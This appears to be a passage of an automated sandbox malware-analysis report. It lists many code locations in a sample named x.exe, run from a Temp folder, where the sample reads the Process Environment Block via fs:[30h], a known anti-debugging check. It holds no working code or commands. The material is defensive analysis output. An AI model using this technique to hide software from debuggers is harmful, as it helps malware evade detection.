Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov eax, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov eax, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov eax, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov eax, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov eax, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov eax, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov eax, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov eax, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0 mov eax, dword ptr fs:[00000030h]	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A5341 mov eax, dword ptr fs:[00000030h]	7_2_014A5341
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C7330 mov eax, dword ptr fs:[00000030h]	7_2_013C7330
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01452349 mov eax, dword ptr fs:[00000030h]	7_2_01452349
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FF32A mov eax, dword ptr fs:[00000030h]	7_2_013FF32A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145035C mov eax, dword ptr fs:[00000030h]	7_2_0145035C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145035C mov eax, dword ptr fs:[00000030h]	7_2_0145035C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145035C mov eax, dword ptr fs:[00000030h]	7_2_0145035C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145035C mov ecx, dword ptr fs:[00000030h]	7_2_0145035C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145035C mov eax, dword ptr fs:[00000030h]	7_2_0145035C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145035C mov eax, dword ptr fs:[00000030h]	7_2_0145035C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149A352 mov eax, dword ptr fs:[00000030h]	7_2_0149A352
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CC310 mov ecx, dword ptr fs:[00000030h]	7_2_013CC310
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148F367 mov eax, dword ptr fs:[00000030h]	7_2_0148F367
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F0310 mov ecx, dword ptr fs:[00000030h]	7_2_013F0310
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147437C mov eax, dword ptr fs:[00000030h]	7_2_0147437C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140A30B mov eax, dword ptr fs:[00000030h]	7_2_0140A30B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140A30B mov eax, dword ptr fs:[00000030h]	7_2_0140A30B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140A30B mov eax, dword ptr fs:[00000030h]	7_2_0140A30B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D7370 mov eax, dword ptr fs:[00000030h]	7_2_013D7370
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D7370 mov eax, dword ptr fs:[00000030h]	7_2_013D7370
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D7370 mov eax, dword ptr fs:[00000030h]	7_2_013D7370
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145930B mov eax, dword ptr fs:[00000030h]	7_2_0145930B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145930B mov eax, dword ptr fs:[00000030h]	7_2_0145930B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0145930B mov eax, dword ptr fs:[00000030h]	7_2_0145930B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149132D mov eax, dword ptr fs:[00000030h]	7_2_0149132D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149132D mov eax, dword ptr fs:[00000030h]	7_2_0149132D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C9353 mov eax, dword ptr fs:[00000030h]	7_2_013C9353
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C9353 mov eax, dword ptr fs:[00000030h]	7_2_013C9353
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CD34C mov eax, dword ptr fs:[00000030h]	7_2_013CD34C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CD34C mov eax, dword ptr fs:[00000030h]	7_2_013CD34C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148C3CD mov eax, dword ptr fs:[00000030h]	7_2_0148C3CD
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148B3D0 mov ecx, dword ptr fs:[00000030h]	7_2_0148B3D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F33A5 mov eax, dword ptr fs:[00000030h]	7_2_013F33A5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C8397 mov eax, dword ptr fs:[00000030h]	7_2_013C8397
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C8397 mov eax, dword ptr fs:[00000030h]	7_2_013C8397
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C8397 mov eax, dword ptr fs:[00000030h]	7_2_013C8397
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148F3E6 mov eax, dword ptr fs:[00000030h]	7_2_0148F3E6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F438F mov eax, dword ptr fs:[00000030h]	7_2_013F438F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F438F mov eax, dword ptr fs:[00000030h]	7_2_013F438F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CE388 mov eax, dword ptr fs:[00000030h]	7_2_013CE388
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CE388 mov eax, dword ptr fs:[00000030h]	7_2_013CE388
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CE388 mov eax, dword ptr fs:[00000030h]	7_2_013CE388
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A53FC mov eax, dword ptr fs:[00000030h]	7_2_014A53FC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014063FF mov eax, dword ptr fs:[00000030h]	7_2_014063FF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EE3F0 mov eax, dword ptr fs:[00000030h]	7_2_013EE3F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EE3F0 mov eax, dword ptr fs:[00000030h]	7_2_013EE3F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EE3F0 mov eax, dword ptr fs:[00000030h]	7_2_013EE3F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A539D mov eax, dword ptr fs:[00000030h]	7_2_014A539D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E03E9 mov eax, dword ptr fs:[00000030h]	7_2_013E03E9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E03E9 mov eax, dword ptr fs:[00000030h]	7_2_013E03E9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E03E9 mov eax, dword ptr fs:[00000030h]	7_2_013E03E9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E03E9 mov eax, dword ptr fs:[00000030h]	7_2_013E03E9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E03E9 mov eax, dword ptr fs:[00000030h]	7_2_013E03E9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E03E9 mov eax, dword ptr fs:[00000030h]	7_2_013E03E9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E03E9 mov eax, dword ptr fs:[00000030h]	7_2_013E03E9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E03E9 mov eax, dword ptr fs:[00000030h]	7_2_013E03E9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0142739A mov eax, dword ptr fs:[00000030h]	7_2_0142739A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0142739A mov eax, dword ptr fs:[00000030h]	7_2_0142739A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014033A0 mov eax, dword ptr fs:[00000030h]	7_2_014033A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014033A0 mov eax, dword ptr fs:[00000030h]	7_2_014033A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DA3C0 mov eax, dword ptr fs:[00000030h]	7_2_013DA3C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DA3C0 mov eax, dword ptr fs:[00000030h]	7_2_013DA3C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DA3C0 mov eax, dword ptr fs:[00000030h]	7_2_013DA3C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DA3C0 mov eax, dword ptr fs:[00000030h]	7_2_013DA3C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DA3C0 mov eax, dword ptr fs:[00000030h]	7_2_013DA3C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DA3C0 mov eax, dword ptr fs:[00000030h]	7_2_013DA3C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D83C0 mov eax, dword ptr fs:[00000030h]	7_2_013D83C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D83C0 mov eax, dword ptr fs:[00000030h]	7_2_013D83C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D83C0 mov eax, dword ptr fs:[00000030h]	7_2_013D83C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D83C0 mov eax, dword ptr fs:[00000030h]	7_2_013D83C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C823B mov eax, dword ptr fs:[00000030h]	7_2_013C823B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140724D mov eax, dword ptr fs:[00000030h]	7_2_0140724D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148B256 mov eax, dword ptr fs:[00000030h]	7_2_0148B256
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148B256 mov eax, dword ptr fs:[00000030h]	7_2_0148B256
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149D26B mov eax, dword ptr fs:[00000030h]	7_2_0149D26B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149D26B mov eax, dword ptr fs:[00000030h]	7_2_0149D26B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01411270 mov eax, dword ptr fs:[00000030h]	7_2_01411270
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01411270 mov eax, dword ptr fs:[00000030h]	7_2_01411270
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01480274 mov eax, dword ptr fs:[00000030h]	7_2_01480274
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01480274 mov eax, dword ptr fs:[00000030h]	7_2_01480274
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01480274 mov eax, dword ptr fs:[00000030h]	7_2_01480274
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01480274 mov eax, dword ptr fs:[00000030h]	7_2_01480274
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01480274 mov eax, dword ptr fs:[00000030h]	7_2_01480274
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01480274 mov eax, dword ptr fs:[00000030h]	7_2_01480274
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01480274 mov eax, dword ptr fs:[00000030h]	7_2_01480274
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01480274 mov eax, dword ptr fs:[00000030h]	7_2_01480274
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01480274 mov eax, dword ptr fs:[00000030h]	7_2_01480274
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01480274 mov eax, dword ptr fs:[00000030h]	7_2_01480274
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01480274 mov eax, dword ptr fs:[00000030h]	7_2_01480274
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01480274 mov eax, dword ptr fs:[00000030h]	7_2_01480274
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01407208 mov eax, dword ptr fs:[00000030h]	7_2_01407208
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01407208 mov eax, dword ptr fs:[00000030h]	7_2_01407208
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F9274 mov eax, dword ptr fs:[00000030h]	7_2_013F9274
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C826B mov eax, dword ptr fs:[00000030h]	7_2_013C826B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D4260 mov eax, dword ptr fs:[00000030h]	7_2_013D4260
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D4260 mov eax, dword ptr fs:[00000030h]	7_2_013D4260
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D4260 mov eax, dword ptr fs:[00000030h]	7_2_013D4260
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D6259 mov eax, dword ptr fs:[00000030h]	7_2_013D6259
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CA250 mov eax, dword ptr fs:[00000030h]	7_2_013CA250
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A5227 mov eax, dword ptr fs:[00000030h]	7_2_014A5227
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C9240 mov eax, dword ptr fs:[00000030h]	7_2_013C9240
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C9240 mov eax, dword ptr fs:[00000030h]	7_2_013C9240
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E02A0 mov eax, dword ptr fs:[00000030h]	7_2_013E02A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E02A0 mov eax, dword ptr fs:[00000030h]	7_2_013E02A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E52A0 mov eax, dword ptr fs:[00000030h]	7_2_013E52A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E52A0 mov eax, dword ptr fs:[00000030h]	7_2_013E52A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E52A0 mov eax, dword ptr fs:[00000030h]	7_2_013E52A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E52A0 mov eax, dword ptr fs:[00000030h]	7_2_013E52A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED mov eax, dword ptr fs:[00000030h]	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED mov eax, dword ptr fs:[00000030h]	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED mov eax, dword ptr fs:[00000030h]	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED mov eax, dword ptr fs:[00000030h]	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED mov eax, dword ptr fs:[00000030h]	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED mov eax, dword ptr fs:[00000030h]	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED mov eax, dword ptr fs:[00000030h]	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED mov eax, dword ptr fs:[00000030h]	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED mov eax, dword ptr fs:[00000030h]	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED mov eax, dword ptr fs:[00000030h]	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED mov eax, dword ptr fs:[00000030h]	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED mov eax, dword ptr fs:[00000030h]	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED mov eax, dword ptr fs:[00000030h]	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED mov eax, dword ptr fs:[00000030h]	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A52E2 mov eax, dword ptr fs:[00000030h]	7_2_014A52E2
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148F2F8 mov eax, dword ptr fs:[00000030h]	7_2_0148F2F8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C92FF mov eax, dword ptr fs:[00000030h]	7_2_013C92FF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140E284 mov eax, dword ptr fs:[00000030h]	7_2_0140E284
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140E284 mov eax, dword ptr fs:[00000030h]	7_2_0140E284
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01450283 mov eax, dword ptr fs:[00000030h]	7_2_01450283
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01450283 mov eax, dword ptr fs:[00000030h]	7_2_01450283
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01450283 mov eax, dword ptr fs:[00000030h]	7_2_01450283
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A5283 mov eax, dword ptr fs:[00000030h]	7_2_014A5283
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140329E mov eax, dword ptr fs:[00000030h]	7_2_0140329E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140329E mov eax, dword ptr fs:[00000030h]	7_2_0140329E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E02E1 mov eax, dword ptr fs:[00000030h]	7_2_013E02E1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E02E1 mov eax, dword ptr fs:[00000030h]	7_2_013E02E1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E02E1 mov eax, dword ptr fs:[00000030h]	7_2_013E02E1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014662A0 mov eax, dword ptr fs:[00000030h]	7_2_014662A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014662A0 mov ecx, dword ptr fs:[00000030h]	7_2_014662A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014662A0 mov eax, dword ptr fs:[00000030h]	7_2_014662A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014662A0 mov eax, dword ptr fs:[00000030h]	7_2_014662A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014662A0 mov eax, dword ptr fs:[00000030h]	7_2_014662A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014662A0 mov eax, dword ptr fs:[00000030h]	7_2_014662A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014672A0 mov eax, dword ptr fs:[00000030h]	7_2_014672A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014672A0 mov eax, dword ptr fs:[00000030h]	7_2_014672A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FF2D0 mov eax, dword ptr fs:[00000030h]	7_2_013FF2D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FF2D0 mov eax, dword ptr fs:[00000030h]	7_2_013FF2D0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014992A6 mov eax, dword ptr fs:[00000030h]	7_2_014992A6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014992A6 mov eax, dword ptr fs:[00000030h]	7_2_014992A6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014992A6 mov eax, dword ptr fs:[00000030h]	7_2_014992A6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014992A6 mov eax, dword ptr fs:[00000030h]	7_2_014992A6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CB2D3 mov eax, dword ptr fs:[00000030h]	7_2_013CB2D3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CB2D3 mov eax, dword ptr fs:[00000030h]	7_2_013CB2D3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CB2D3 mov eax, dword ptr fs:[00000030h]	7_2_013CB2D3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D92C5 mov eax, dword ptr fs:[00000030h]	7_2_013D92C5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D92C5 mov eax, dword ptr fs:[00000030h]	7_2_013D92C5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014592BC mov eax, dword ptr fs:[00000030h]	7_2_014592BC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014592BC mov eax, dword ptr fs:[00000030h]	7_2_014592BC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014592BC mov ecx, dword ptr fs:[00000030h]	7_2_014592BC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014592BC mov ecx, dword ptr fs:[00000030h]	7_2_014592BC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DA2C3 mov eax, dword ptr fs:[00000030h]	7_2_013DA2C3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DA2C3 mov eax, dword ptr fs:[00000030h]	7_2_013DA2C3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DA2C3 mov eax, dword ptr fs:[00000030h]	7_2_013DA2C3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DA2C3 mov eax, dword ptr fs:[00000030h]	7_2_013DA2C3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DA2C3 mov eax, dword ptr fs:[00000030h]	7_2_013DA2C3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FB2C0 mov eax, dword ptr fs:[00000030h]	7_2_013FB2C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FB2C0 mov eax, dword ptr fs:[00000030h]	7_2_013FB2C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FB2C0 mov eax, dword ptr fs:[00000030h]	7_2_013FB2C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FB2C0 mov eax, dword ptr fs:[00000030h]	7_2_013FB2C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FB2C0 mov eax, dword ptr fs:[00000030h]	7_2_013FB2C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FB2C0 mov eax, dword ptr fs:[00000030h]	7_2_013FB2C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FB2C0 mov eax, dword ptr fs:[00000030h]	7_2_013FB2C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FE53E mov eax, dword ptr fs:[00000030h]	7_2_013FE53E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FE53E mov eax, dword ptr fs:[00000030h]	7_2_013FE53E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FE53E mov eax, dword ptr fs:[00000030h]	7_2_013FE53E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FE53E mov eax, dword ptr fs:[00000030h]	7_2_013FE53E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FE53E mov eax, dword ptr fs:[00000030h]	7_2_013FE53E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DD534 mov eax, dword ptr fs:[00000030h]	7_2_013DD534
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DD534 mov eax, dword ptr fs:[00000030h]	7_2_013DD534
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DD534 mov eax, dword ptr fs:[00000030h]	7_2_013DD534
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DD534 mov eax, dword ptr fs:[00000030h]	7_2_013DD534
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DD534 mov eax, dword ptr fs:[00000030h]	7_2_013DD534
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DD534 mov eax, dword ptr fs:[00000030h]	7_2_013DD534
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E0535 mov eax, dword ptr fs:[00000030h]	7_2_013E0535
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E0535 mov eax, dword ptr fs:[00000030h]	7_2_013E0535
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E0535 mov eax, dword ptr fs:[00000030h]	7_2_013E0535
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E0535 mov eax, dword ptr fs:[00000030h]	7_2_013E0535
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E0535 mov eax, dword ptr fs:[00000030h]	7_2_013E0535
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E0535 mov eax, dword ptr fs:[00000030h]	7_2_013E0535
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140656A mov eax, dword ptr fs:[00000030h]	7_2_0140656A
